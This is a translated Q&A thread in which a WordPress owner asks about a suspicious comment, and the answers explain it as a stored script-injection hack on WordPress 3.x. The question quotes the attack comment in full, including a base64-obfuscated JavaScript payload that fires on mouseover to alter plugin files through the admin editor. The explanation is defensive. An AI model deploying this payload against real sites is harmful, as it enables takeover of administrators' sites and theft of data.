问题描述
我收到了我的 WordPress 网站的电子邮件,其中注释部分被禁用。
这是电子邮件:
「作者:google(IP:210.56.50.40,210.56.50.40)
电邮:guest@gmail.com
谁是?:http://whois.arin.net/rest/ip/210.56.50.40
评论:
欢迎来到 WordPress 。这是你的第一篇文章。
[<a title="]" rel="nofollow"></a>[" <!-- style='position:fixed;top:0px;left:0px;width:6000px;height:6000px;color:transparent;z-index:999999999' onmouseover="eval(atob('dmFyIHggPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiYSIpOwp2YXIgaTsKZm9yIChpID0gMDsgaSA8IHgubGVuZ3RoOyBpKyspIHsKICAgIGlmKHhbaV0uc3R5bGUud2lkdGggPT0gIjYwMDBweCIpe3hbaV0uc3R5bGUuZGlzcGxheT0ibm9uZSI7fQp9Cgp2YXIgZWwgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJpZnJhbWUiKTsKZWwuaWQgPSAnaWZyYW1lMjInOwplbC5zdHlsZS5kaXNwbGF5ID0gImZpeGVkIjsKZWwuc3R5bGUudG9wPScxMDAwMHB4JzsKZWwuc3R5bGUubGVmdD0nMTAwMDBweCc7CmVsLnN0eWxlLndpZHRoID0gIjUwMHB4IjsKZWwuc3R5bGUuaGVpZ2h0ID0gIjUwMHB4IjsKZWwuc3JjID0gInBsdWdpbi1lZGl0b3IucGhwP2ZpbGU9aGVsbG8ucGhwJnBsdWdpbj1oZWxsby5waHAiOwpkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGVsKTsKZWwub25sb2FkID0gaHV5OwoKZnVuY3Rpb24gZ2V0SWZyYW1lRG9jdW1lbnQoaWZyYW1lTm9kZSkgewogIGlmIChpZnJhbWVOb2RlLmNvbnRlbnREb2N1bWVudCkgcmV0dXJuIGlmcmFtZU5vZGUuY29udGVudERvY3VtZW50CiAgaWYgKGlmcmFtZU5vZGU
uY29udGVudFdpbmRvdykgcmV0dXJuIGlmcmFtZU5vZGUuY29udGVudFdpbmRvdy5kb2N1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R1Z5YlhNcE93b2dJQ0FnSUNBZ0lIMEtDaUFnSUNBZ0lDQWdRSFJ2ZFdOb0tDUm1ibUZ0WlN3a2RHbHRaU2s3Q2lBZ0lDQjlDZ29nSUNBZ1kyeGxZWEp6ZEdGMFkyRmphR1VvS1RzS0lDQWdJR2xtS0NSemFYcGxJQ0U5UFNCbWFXeGxjMmw2WlNna1ptNWhiV1VwS1hzS0lDQWdJQ0FnSUNCeVpYQnZjblFvSkhKalpDazdDaUFnSUNCOUNuMEtDbkpsYlc5MlpWOWpiMjF0Wlc1MEtDazdDbkJoZEdOb1gzZHdLQ2s3Q25ObGJHWmZjbVZ0YjNabEtDazdDZ28vUGdvdkx6RTNOalJrTVRNelpEY3pOVEZpWmpaaE1qZGtNbVJsWWpOak5USXhZVEF5IikgKyBoaGguZ2V0RWxlbWVudEJ5SWQoIm5ld2NvbnRlbnQiKS52YWx1ZTsKaGhoLmdldEVsZW1lbnRCeUlkKCJzdWJtaXQiKS5jbGljayggKTsKfQplbHNlIHsKenp6LnNyYyA9ICcuLi93cC1jb250ZW50L3BsdWdpbnMvaGVsbG8ucGhwJzsKfQp9'))" > --><a></a>]
编辑或者删除它,然后开始写博客! 「
这是什么?我已经删除了评论,但我很好奇。
最佳解决方案
“Code” 是您的 WordPress 安装 (wp-comments-post.php) 的”patching”,并将一些信息发送到多个服务器 (可能是 c& c) 。此外,它正在从数据库中删除自己。
换句话说,这是一个黑客。您收到的电子邮件不是来自 Google 官方的。来自 Gmail 帐户。
解码的来源在这里:
漏洞利用是基于 WordPress 3.x 持续脚本注入:http://www.acunetix.com/vulnerabilities/web/wordpress-3-x-persistent-script-injection
次佳解决方案
这是一个黑客尝试,其中包含使用 Base64 编码隐藏恶意有效载荷代码的字符的特殊组合。
隐藏的代码依赖于使用的旧版本的 WordPress,例如版本 3.5 。在这些旧版本中,有一些技巧已被发现。这些技巧愚弄了防止脚本插入注释的安全措施。它是使用精心制作的字符组合,这些字符被误解为短码,HTML 和文本,允许访问鼠标悬停 JavaScript 事件。
提示:保留最新版本的 WORDPRESS
当鼠标悬停由以管理员身份登录的某人触发时,注释中的任何恶意代码就像管理员执行一样执行。
参考文献
注:本文内容整合自 Google/Baidu/Bing 辅助翻译的英文资料结果。如果您对结果不满意,可以加入我们改善翻译效果:薇晓朵技术论坛。